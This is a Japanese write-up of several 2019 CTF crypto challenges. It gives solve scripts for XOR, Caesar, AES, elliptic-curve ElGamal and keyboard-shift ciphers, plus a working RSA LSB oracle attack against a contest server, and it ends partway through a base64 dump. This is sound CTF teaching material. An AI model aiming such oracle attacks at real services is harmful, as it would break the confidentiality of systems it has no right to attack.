シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号。

TG19{the_most_basic_type_of_encryption}

Exclusive Magic Club (Crypto 50)

XORでkeyがわかっているので、そのまま復号する。

enc = '''00111001 00101000 01000101 01010001 00011110 00010000 00110000 00011100
00110001 00001011 00011000 00000100 00110001 00111101 00010001 00011100
00101011 00011001 00000111 00010001 00110111 00100100 00111011 00000000
00000100 00011000 00001010 00000101 00011111 00110000 00010000 00000001
00000000 00001001'''

enc = enc.replace('\n', ' ').split(' ')

key = 'mother_knows_best'

flag = ''
for i in range(len(enc)):
    code = int(enc[i], 2) ^ ord(key[i%len(key)])
    flag += chr(code)

print flag
TG19{bow_down_to_the_AI_overlords}

Josefssons Final Exam (Crypto 75)

XORでkeyがわかっているので、そのまま復号すると、Base64文字列になる。そのままデコードできないが、シフトしてフラグの形式になるようシフトする数を探す。あとはデコードすれば、フラグになる。

import string

def caesar(s, n):
    ret = ''
    for i in range(len(s)):
        if s[i] in string.uppercase:
            code = ord(s[i]) - n
            if code < ord('A'):
                code += 26
        elif s[i] in string.lowercase:
            code = ord(s[i]) - n
            if code < ord('a'):
                code += 26
        else:
            code = ord(s[i])
        ret += chr(code)
    return ret

enc = '''00100011 00100010 00000100 00000010 00001000 00101010
00010111 00001011 00000001 01010101 01010110 00001100
00100010 01101100 00011000 00010001 00001111 00101111
01011110 00011111 00000100 00010001 00011011 00000010
00011001 00101100 00011011 00010011 00101001 01011101
00110010 00111000 00000001 00110011 00101001 01011011
00001101 01011110 01010110 00000110 00011000 00101010
00100011 01010011 00100011 00100001 00111101 01010110'''

enc = enc.replace('\n', ' ').split(' ')

key = 'good_luck'

enc_flag = ''
for i in range(len(enc)):
    code = int(enc[i], 2) ^ ord(key[i%len(key)])
    enc_flag += chr(code)

enc_flag = caesar(enc_flag, 8)
flag = enc_flag.decode('base64')

print flag
TG19{soon_you_are_the_crypto_master}

Passing Notes (Crypto 150)

bbb2c5e63d2ef893106fdd0d797aa97a を逆変換する。

supersecretpassword

これのSHA256のダイジェストをkeyとして、AES暗号の復号を行う。

from Crypto.Cipher import AES
from Crypto.Hash import SHA256

def unpad(s):
    return s[:-ord(s[-1])]

enc = 'vyLlwWSY1PCK5ELNTPUVdpl8z0rIXiB2+Ybcu/BeXidR3MEiym852HCkS6wHVCr+CdpP6Moe9VQUeFcyq3vZDpVK/orl+8vREYMRrnQR9O4='
enc = enc.decode('base64')

secret = 'supersecretpassword'
key = SHA256.new()
key.update(secret)
key = key.hexdigest().decode('hex')

iv = enc[:16]
enc = enc[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc))
print flag
TG19{you_should_really_consider_updating_your_hash_algorithm}

The Chamber of Secrets (Crypto 300)

楕円Elgamal暗号の問題。cを復号して、共通鍵を割り出し、復号する。

#!/usr/bin/env sage -python
# solve.sage
q = 1125899906842597
a = -3
b = 313205882961673
g = (1115545019992514, 78178829836422)
h = (829999038570486, 549144410878897)
c1 = (700253548714057, 421820716153583)
c2 = (470712751668926, 131989609316847)

F = FiniteField(q)
E = EllipticCurve(F, [a, b])
G = E.point(g)
H = E.point(h)
factors, exponents = zip(*factor(E.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2]
dlogs = []
for fac in primes:
    t = int(G.order()) / int(fac)
    dlog = discrete_log(t*H, t*G, operation='+')
    dlogs += [dlog]

d = crt(dlogs,primes)

C1 = E.point(c1)
C2 = E.point(c2)
secret = C2 - d * C1
print secret

この実行結果は以下の通り。

(934013602642177 : 28034533961304 : 1)

このx座標を鍵として復号する。

from Crypto.Cipher import Blowfish
from Crypto.Hash import SHA256
import base64

def unpad(s):
    return s[:-ord(s[-1])]

enc = 'sTokhflo9WHPQB8JHEm0OVG2SwUA/sHaP0yFv9T2kmoZjC5g46eeRM8M8CGRj8bV/NxY4VJ8Ls0='
enc = base64.b64decode(enc)

secret = '934013602642177'
key = SHA256.new()
key.update(secret)

bs = Blowfish.block_size
iv = enc[:bs]
enc = enc[bs:]

cipher = Blowfish.new(key.digest(), Blowfish.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc))
print flag
TG19{please_be_more_discreet_when_hacking}

WPICTF 2019 Writeup

この大会は2019/4/13 5:00(JST)~2019/4/15 8:00(JST)に開催されました。
今回もチームで参戦。結果は856点で586チーム中53位でした。
自分で解けた問題をWriteupとして書いておきます。

can you read (Intro 1)

問題にフラグが書いてあった。

WPI{y3s_y0u_cAN_r33d}

Discord (Intro 5)

Discordに入ってピン止めされたメッセージを見る。その中にフラグがあった。

WPI{Welcome_to_our_discord}

WebInspect (Web 25)

HTMLソースのコメントにフラグがあった。

WPI{Inspect0r_Gadget}

strings (Reversing 50)

$ strings strings | grep WPI{
WPI{
warbleglarblesomejunkWPI{What_do_you_mean_I_SEE_AHH_SKI}0x13376969
WPI{What_do_you_mean_I_SEE_AHH_SKI}

zoomercrypt (Crypto 50)

顔文字をUnicodeに置き換える。

U+1F603
U+1F601
U+1F615

U+1F617
U+1F608

U+1F617
U+1F607

U+1F60B
U+1F604
U+1F617
{
U+1F606
U+1F613
U+1F604
U+1F613
U+1F602
U+1F608
_
U+1F60E
U+1F603
U+1F603
U+1F601
U+1F613
U+1F606
U+1F607
}

フラグの部分が"WPI{"になるようにコードを変換して復号する。

unicodes = [0x1F603, 0x1F601, 0x1F615, 0, 0x1F617, 0x1F608, 0, 0x1F617, 
    0x1F607, 0, 0x1F60B, 0x1F604, 0x1F617, 1, 0x1F606, 0x1F613, 0x1F604, 
    0x1F613,0x1F602, 0x1F608, 2, 0x1F60E, 0x1F603, 0x1F603, 0x1F601,
    0x1F613, 0x1F606, 0x1F607, 3]
unicode_base1 = 0x1F5B4
unicode_base2 = 0x1F5CE

msg = ''
for unicode in unicodes:
    if unicode == 0:
        msg += ' '
    elif unicode == 1:
        msg += '{'
    elif unicode == 2:
        msg += '_'
    elif unicode == 3:
        msg += '}'
    elif unicode < 0x1F610:
        code = unicode - unicode_base1
        msg += chr(code)
    else:
        code = unicode - unicode_base2
        msg += chr(code)

print msg

実行結果は以下の通り。

OMG IT IS WPI{REPENT_ZOOMERS}
WPI{REPENT_ZOOMERS}

jocipher (Crypto 100)

Easy Python Decompilerでデコンパイルする。

# Embedded file name: ./jocipher.py
import argparse, re
num = ''
first = ''
second = ''
third = ''

def setup():
    global third
    global second
    global num
    global first
    num += '1'
    num += '2'
    num += '3'
    num += '4'
    num += '5'
    num += '6'
    num += '7'
    num += '8'
    num += '9'
    num += '0'
    first += 'q'
    first += 'w'
    first += 'e'
    first += 'r'
    first += 't'
    first += 'y'
    first += 'u'
    first += 'i'
    first += 'o'
    first += 'p'
    second += 'a'
    second += 's'
    second += 'd'
    second += 'f'
    second += 'g'
    second += 'h'
    second += 'j'
    second += 'k'
    second += 'l'
    third += 'z'
    third += 'x'
    third += 'c'
    third += 'v'
    third += 'b'
    third += 'n'
    third += 'm'


def encode(string, shift):
    result = ''
    for i in range(len(string)):
        char = string.lower()[i]
        if char in num:
            new_char = num[(num.index(char) + shift) % len(num)]
            result += new_char
        elif char in first:
            new_char = first[(first.index(char) + shift) % len(first)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in second:
            new_char = second[(second.index(char) + shift) % len(second)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in third:
            new_char = third[(third.index(char) + shift) % len(third)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        else:
            result += char

    print result
    return 0


def decode(string, shift):
    result = ''
    shift = -1 * shift
    for i in range(len(string)):
        char = string.lower()[i]
        if char in num:
            new_char = num[(num.index(char) + shift) % len(num)]
            result += new_char
        elif char in first:
            new_char = first[(first.index(char) + shift) % len(first)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in second:
            new_char = second[(second.index(char) + shift) % len(second)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in third:
            new_char = third[(third.index(char) + shift) % len(third)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        else:
            result += char

    print result
    return 0


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--string', '-s', type=str, required=True, help='the string to encode or decode')
    parser.add_argument('--shift', '-t', type=int, required=True, help='the shift value to use')
    parser.add_argument('--encode', '-e', required=False, action='store_true', help='encode the string')
    parser.add_argument('--decode', '-d', required=False, action='store_true', help='decode the string')
    args = parser.parse_args()
    setup()
    p = re.compile('[a-zA-Z0-9\\-{}]')
    if p.match(args.string) is not None:
        if args.encode:
            ret = encode(args.string, args.shift)
        elif args.decode:
            ret = decode(args.string, args.shift)
        if ret is not 0:
            print 'Sorry, this cipher only uses the [a-zA-Z0-9\\-{}]'
    else:
        print 'Sorry, this cipher only uses the [a-zA-Z0-9\\-{}]'
    return


if __name__ == '__main__':
    main()

デコードする処理もあるので、そのまま使う。num, first, second, thirdでそれぞれシフトするのだが、構成する数が異なり、10, 10, 9, 7になっている。シフト数は最小公倍数の630回までパターンがあるので、全候補を確認する。

num = ''
first = ''
second = ''
third = ''

def setup():
    global third
    global second
    global num
    global first
    num += '1'
    num += '2'
    num += '3'
    num += '4'
    num += '5'
    num += '6'
    num += '7'
    num += '8'
    num += '9'
    num += '0'
    first += 'q'
    first += 'w'
    first += 'e'
    first += 'r'
    first += 't'
    first += 'y'
    first += 'u'
    first += 'i'
    first += 'o'
    first += 'p'
    second += 'a'
    second += 's'
    second += 'd'
    second += 'f'
    second += 'g'
    second += 'h'
    second += 'j'
    second += 'k'
    second += 'l'
    third += 'z'
    third += 'x'
    third += 'c'
    third += 'v'
    third += 'b'
    third += 'n'
    third += 'm'

def decode(string, shift):
    result = ''
    shift = -1 * shift
    for i in range(len(string)):
        char = string.lower()[i]
        if char in num:
            new_char = num[(num.index(char) + shift) % len(num)]
            result += new_char
        elif char in first:
            new_char = first[(first.index(char) + shift) % len(first)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in second:
            new_char = second[(second.index(char) + shift) % len(second)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        elif char in third:
            new_char = third[(third.index(char) + shift) % len(third)]
            if string[i].isupper():
                result += new_char.upper()
            else:
                result += new_char
        else:
            result += char

    return result

enc = 'PIY{zsxh-sqrvufwh-nfgl}'

setup()

for i in range(630):
    flag = decode(enc, i)
    if flag.startswith('WPI{'):
        print flag

実行結果は以下の通りで、意味の通りそうなものがフラグとなる。

WPI{mdzj-deycogrj-bgha}
WPI{vsbh-seymofrh-xfgl}
WPI{zaxg-aeyvodrg-ndfk}
WPI{blnf-leyzosrf-csdj}
WPI{xkcd-keyboard-mash}★
WPI{njms-jeyxolrs-vlag}
WPI{chva-heynokra-zklf}
WPI{mgzl-geycojrl-bjkd}
WPI{vfbk-feymohrk-xhjs}
WPI{zdxj-deyvogrj-ngha}
WPI{bsnh-seyzofrh-cfgl}
WPI{xacg-aeybodrg-mdfk}
WPI{nlmf-leyxosrf-vsdj}
WPI{ckvd-keynoard-zash}
WPI{mjzs-jeycolrs-blag}
WPI{vhba-heymokra-xklf}
WPI{zgxl-geyvojrl-njkd}
WPI{bfnk-feyzohrk-chjs}
WPI{xdcj-deybogrj-mgha}
WPI{nsmh-seyxofrh-vfgl}
WPI{cavg-aeynodrg-zdfk}
WPI{mlzf-leycosrf-bsdj}
WPI{vkbd-keymoard-xash}
WPI{zjxs-jeyvolrs-nlag}
WPI{bhna-heyzokra-cklf}
WPI{xgcl-geybojrl-mjkd}
WPI{nfmk-feyxohrk-vhjs}
WPI{cdvj-deynogrj-zgha}
WPI{mszh-seycofrh-bfgl}
WPI{vabg-aeymodrg-xdfk}
WPI{zlxf-leyvosrf-nsdj}
WPI{bknd-keyzoard-cash}
WPI{xjcs-jeybolrs-mlag}
WPI{nhma-heyxokra-vklf}
WPI{cgvl-geynojrl-zjkd}
WPI{mfzk-feycohrk-bhjs}
WPI{vdbj-deymogrj-xgha}
WPI{zsxh-seyvofrh-nfgl}
WPI{bang-aeyzodrg-cdfk}
WPI{xlcf-leybosrf-msdj}
WPI{nkmd-keyxoard-vash}
WPI{cjvs-jeynolrs-zlag}
WPI{mhza-heycokra-bklf}
WPI{vgbl-geymojrl-xjkd}
WPI{zfxk-feyvohrk-nhjs}
WPI{bdnj-deyzogrj-cgha}
WPI{xsch-seybofrh-mfgl}
WPI{namg-aeyxodrg-vdfk}
WPI{clvf-leynosrf-zsdj}
WPI{mkzd-keycoard-bash}
WPI{vjbs-jeymolrs-xlag}
WPI{zhxa-heyvokra-nklf}
WPI{bgnl-geyzojrl-cjkd}
WPI{xfck-feybohrk-mhjs}
WPI{ndmj-deyxogrj-vgha}
WPI{csvh-seynofrh-zfgl}
WPI{mazg-aeycodrg-bdfk}
WPI{vlbf-leymosrf-xsdj}
WPI{zkxd-keyvoard-nash}
WPI{bjns-jeyzolrs-clag}
WPI{xhca-heybokra-mklf}
WPI{ngml-geyxojrl-vjkd}
WPI{cfvk-feynohrk-zhjs}
WPI{xkcd-keyboard-mash}

PlaidCTF 2019 Writeup

この大会は2019/4/13 6:00(JST)~2019/4/15 6:00(JST)に開催されました。
今回もチームで参戦。結果は211点で953チーム中173位でした。
メインの問題は一問も解けず、解けたのはWelcome問題だけでした。
一応その自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc 1)

問題にフラグが書いてあった。

PCTF{welcome to PlaidCTF}

YauzaCTF 2019 Quals Writeup

この大会は2019/4/14 0:00(JST)~2019/4/15 0:00(JST)に開催されました。
今回もチームで参戦。結果は2565点で195チーム中25位でした。
自分で解けた問題をWriteupとして書いておきます。

RSA BlackBox (Crypto)

実際に接続して、試してみる。

$ nc 195.19.44.145 2525
Please, choose one of the commands:
get - to get encrypted message
enc - to encrypt message
sig - to get digest of message

get
Encrypted flag (base64):
j/V6tVj7Hfnp9jnbqbXsakbfSn0e4pWscs0x9FwMPkuRbBqbxri/o8TyXMKG8VSmWJtOt1YDjgS2hvKGWWBlgNQ1xJ9abfh3hzuJHt9aTLX8wsPQa7bjCqJeZ1WFgkZlz+/SLgc48lzGhG412WRMEjtvfB5zndHzGIbYQ44viZdYYEOYlp/T3BDikRQIflhvSwKscTUrBI/Q4OQQqxEVj539M+F0u2Jn0bz7Vk09Zq5VSQjy/RvPHKEBv8z9o9R4mh4y45/vzycJLjwGqr0KbK1ueLFmokx4jhjZ3RD4L4+17cNP2hGBxxJiovA1PQqeu6RGmiXrA9y1ZqKm7ZsB3Q==

Please, choose one of the commands:
get - to get encrypted message
enc - to encrypt message
sig - to get digest of message

enc
Please, input your message to encrypt (ascii):
abc
Encrypted message:
nL5wkXhHOlunlqpqhHsOIfmB09Byp/jBoMj+wQLwVvRU+VszN9g9NiFcrCPdJlRyYUDBGKk9VZVQQkbHrSdUcZWTFCp6HuNxqiV7TKixRvS/UnP7iW5vs80oCFOcrjMV9HJUbqTjPe12NWLOp7W136T3j1uFXKeqLSXGXmyPKN1DL63UjUzn6KLItSNakkB+YtDZddzqkt6ccz0J0gMtNt/3tIiKRrdxH/DcSZqXY5CBmWVYdtnDiT7716zPAKzN+wCC9132sEQPIsK1bNZ9NPmoEYNM0+7TUhMSvDzY77zlCTZqv6Sgwy6r9ODVRQC7sVLmlPId2wxHbdFABPTwew==

Please, choose one of the commands:
get - to get encrypted message
enc - to encrypt message
sig - to get digest of message

sig
Please, input your message to sign (base64):
nL5wkXhHOlunlqpqhHsOIfmB09Byp/jBoMj+wQLwVvRU+VszN9g9NiFcrCPdJlRyYUDBGKk9VZVQQkbHrSdUcZWTFCp6HuNxqiV7TKixRvS/UnP7iW5vs80oCFOcrjMV9HJUbqTjPe12NWLOp7W136T3j1uFXKeqLSXGXmyPKN1DL63UjUzn6KLItSNakkB+YtDZddzqkt6ccz0J0gMtNt/3tIiKRrdxH/DcSZqXY5CBmWVYdtnDiT7716zPAKzN+wCC9132sEQPIsK1bNZ9NPmoEYNM0+7TUhMSvDzY77zlCTZqv6Sgwy6r9ODVRQC7sVLmlPId2wxHbdFABPTwew==
Signed message (base64):
YWJj

Please, choose one of the commands:
get - to get encrypted message
enc - to encrypt message
sig - to get digest of message

    :

$ echo YWJj | base64 -d
abc

それぞれのメニューの処理はこんな感じ。

get: 暗号化フラグを取得
enc: 指定メッセージのRSA暗号化
sig: 指定メッセージのRSA復号

encを使って、nを求める。そのあと、getで目的の暗号を得た後、sigでRSA LSB Oracle Attackでフラグを求める。

from Crypto.Util.number import *
from fractions import Fraction
from base64 import b64encode, b64decode
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    gcd = b
    return gcd, x, y

def lsb_oracle(s, cipher):
    send_data = 'sig'
    data = recvuntil(s, 'of message\n\n')
    print data + send_data
    s.sendall(send_data + '\n')

    send_data = b64encode(long_to_bytes(cipher))
    data = recvuntil(s, '(base64):\n')
    print data + send_data
    s.sendall(send_data + '\n')

    data = recvuntil(s, '\n')
    data += recvuntil(s, '\n')
    print data.strip()
    sig = bytes_to_long(b64decode(data.split('\n')[1]))

    return sig % 2

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('195.19.44.145', 2525))

#### calculate n ####
try_rsa_enc = []
for m in [2, 4, 16]:
    send_data = 'enc'
    data = recvuntil(s, 'of message\n\n')
    print data + send_data
    s.sendall(send_data + '\n')

    send_data = chr(m)
    data = recvuntil(s, '(ascii):\n')
    print data + send_data
    s.sendall(send_data + '\n')

    data = recvuntil(s, '\n')
    data += recvuntil(s, '\n')
    print data.strip()
    enc = bytes_to_long(b64decode(data.split('\n')[1]))
    try_rsa_enc.append(enc)

diff1 = (try_rsa_enc[0]) ** 2 - try_rsa_enc[1]
diff2 = (try_rsa_enc[1]) ** 2 - try_rsa_enc[2]

n, _, _ = egcd(diff1, diff2)
e = 65537

#### get encrypted flag ####
send_data = 'get'
data = recvuntil(s, 'of message\n\n')
print data + send_data
s.sendall(send_data + '\n')

data = recvuntil(s, '\n')
data += recvuntil(s, '\n')
print data.strip()
c = bytes_to_long(b64decode(data.split('\n')[1]))

#### LSB oracle attack ####
bounds = [0, Fraction(n)]

i = 0
while True:
    print('Round %d' % (i+1))
    i += 1

    c2 = (c * pow(2, e, n)) % n
    lsb = lsb_oracle(s, c2)
    if lsb == 1:
        bounds[0] = sum(bounds)/2
    else:
        bounds[1] = sum(bounds)/2
    diff = bounds[1] - bounds[0]
    diff = diff.numerator / diff.denominator
    #print diff
    if diff == 0:
        m = bounds[1].numerator / bounds[1].denominator
        break
    c = c2

flag = long_to_bytes(m)
print flag
YauzaCTF{DazzlingCleanlinessOfYauza}

enJoy! (Crypto)

rtfを開き、全データをコピーし、codes.txtとして保存する。バイナリを見ると、先頭と終端の2バイトずつを除き、2バイトで一組になっており、\xF0を除くと、printableな文字列になりそう。さらにBase64文字列と思われるので、デコードする。またBase64文字列になった。何重にもエンコード、暗号化されているようだ。最終的には最初から以下のような流れでフラグが得られた。

Base64デコード→Base64デコード→ASCIIコード(16進数)デコード→rot13→0, 1の図示(縦に並べ、上下反転させる)

なお、図示する際はrot13で復号したメッセージの中の「Tupper's self-referential formula」をキーワードに調べ、https://en.wikipedia.org/wiki/Tupper%27s_self-referential_formulaを参考にして、横106、縦17になっていることを使った。

with open('codes.txt', 'rb') as f:
    data = f.read()

data = data[2:-2].replace('\xF0', '')
print '******** 01 ********'
print data

data = data.decode('base64')
print '******** 02 ********'
print data

data = data.decode('base64')
print '******** 03 ********'
print data

print '******** 04 ********'
data = data.split(' ')

msg = ''
for d in data:
    msg += chr(int(d, 16))
print msg

print '******** 05 ********'
msg = msg.decode('rot13')
print msg

print '******** 06 ********'
msg = msg.split('\n')[5].rstrip()
WIDTH = 106
HEIGHT = 17

msg += '0' * (WIDTH * HEIGHT - len(msg))
rows = []
for i in range(HEIGHT):
    row = ''
    for j in range(WIDTH):
        row += msg[i+HEIGHT*j]
    rows.append(row)

flag = ''
for row in rows[::-1]:
    flag += row.replace('0', ' ').replace('1', '*')
    flag += '\n'

print flag

実行結果は以下の通り。

******** 01 ********
TlRVZ05tVWdOamtnTnpJZ01qQWdObU1nTmpJZ05qZ2dNakFnTnpJZ05qa2dOeklnTmpVZ01qQWdOelVnTnpJZ05tVWdOalVnTnpFZ01qQWdObVVnTm1ZZ05qSWdOamdnTmpjZ01qQWdOVElnTmprZ056SWdOalVnTm1NZ05qY2dOelVnTnpZZ05qRWdOelFnTWpBZ05UTWdOaklnTmpVZ04yRWdOamdnTnprZ05tVWdNMllnTWpBZ05UWWdOamNnTWpjZ05qWWdNakFnTm1VZ056a2dOallnTmpJZ01qQWdOemdnTmpFZ05qSWdObUVnTmpFZ01qQWdObVVnTmpZZ01qQWdORGNnTmpnZ05qTWdOak1nTnpJZ05qVWdNamNnTmpZZ01qQWdOallnTnpJZ056a2dOek1nTW1RZ05qVWdOeklnTnpNZ056SWdOalVnTnpJZ05qRWdOamNnTnpZZ05tVWdOemtnTWpBZ056TWdOaklnTmpVZ04yRWdOamdnTnprZ05tVWdNbVVnTWpBZ01HUWdNR0VnTkRjZ056VWdOeklnTWpBZ056TWdOaklnTmpVZ04yRWdOamdnTnprZ05tVWdNakFnTm1FZ05tVWdOallnTWpBZ056RWdOeklnTnpNZ056WWdOakVnTnpJZ056RWdNakFnTm1ZZ05tTWdNakFnTlRjZ056SWdOek1nTnpNZ01qQWdORGNnTmpnZ05qTWdOak1nTnpJZ05qVWdNakFnTm1VZ05qRWdOekVnTWpBZ05tVWdOak1nTmpNZ056SWdObVVnTmpVZ05qWWdNakFnTm1VZ05qWWdNakFnTm1VZ05qRWdNakFnTnpJZ05tSWdObVVnTjJFZ05qTWdOemtnTnpJZ01qQWdOellnTmpFZ01qQWdORGNnTmpnZ05qTWdOak1nTnpJZ05qVWdNamNnTmpZZ01qQWdNeklnTXpBZ016QWdNekVnTWpBZ05EWWdOVFlnTlRRZ05UUWdORFVnTkdVZ05ETWdOVFVnTWpBZ05qTWdObVVnTmpNZ056SWdOalVnTWpBZ05qSWdOakVnTWpBZ05qVWdOeklnTnprZ056WWdObVVnTm1ZZ056a2dOeklnTWpBZ05qY2dObUVnTmpJZ01tUWdOekVnTnpZZ04yRWdOeklnTmpFZ05qWWdOellnTmpJZ05qRWdObVVnTnprZ01qQWdOekFnTmpJZ04yRWdOak1nTmpnZ05qY2dOeklnTmpVZ01qQWdOelFnTmpVZ05tVWdOak1nTnpVZ056WWdOakVnTnpRZ01qQWdObVVnTnprZ056UWdOaklnTmpVZ056WWdOamNnTnpVZ04yRWdOallnTW1VZ01qQWdORGNnTnpVZ056WWdOallnTWpBZ05qTWdObVVnTmpNZ056SWdOalVnTWpBZ056RWdOellnTmpZZ056QWdOamdnTmpZZ05qWWdOeklnTmpZZ01qQWdOMkVnTnpJZ05qY2dOelVnTmpJZ056RWdOallnTWpBZ05qVWdOeklnTnprZ05tVWdOamNnTnpJZ056RWdNakFnTmpjZ05qSWdNakFnTmpjZ056VWdOeklnTWpBZ05UUWdOalVnTm1VZ056TWdOVElnTmpRZ01qQWdOek1nTmpJZ05qVWdOMkVnTmpnZ056a2dObVVnTW1RZ056UWdOalVnTm1VZ05qTWdOelVnTnpZZ05qRWdOelFnTWpBZ05qTWdOalVnTmpJZ056UWdOalVnTm1VZ04yRWdNakFnTnpFZ056SWdOamtnTnpJZ056a2dOaklnTmpNZ056SWdOekVnTWpBZ05tWWdObU1nTWpBZ05EY2dOamdnTmpNZ05qTWdOeklnTmpVZ01tVWdNR1FnTUdFZ05HVWdOakVnTnpFZ01qQWdOakVnTmpJZ05tRWdNakFnTm1FZ056SWdNakFnTm1FZ05tVWdOakVnTmpjZ01qQWdObU1nTmpJZ05qZ2dNakFnTmpjZ05qSWdNakFnTm1VZ056QWdOalFnTmpnZ05tVWdOellnTmpFZ05qY2dNakFnTm1FZ056WWdOamNnTnpVZ01qQWdOellnTmpjZ01qRWdNakFnTTJFZ01qa2dNR1FnTUdFZ01HUWdNR0VnTkdVZ05qRWdOekVnTWpBZ05qRWdOaklnTm1FZ01qQWdObU1nTmpJZ05qZ2dNakFnTnpVZ05tVWdOamtnTnpJZ01qQWdOamNnTnpVZ056WWdOallnTWpBZ05qRWdOamdnTjJFZ05tWWdOeklnTmpVZ00yRWdNR1FnTUdFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016RWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016RWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNek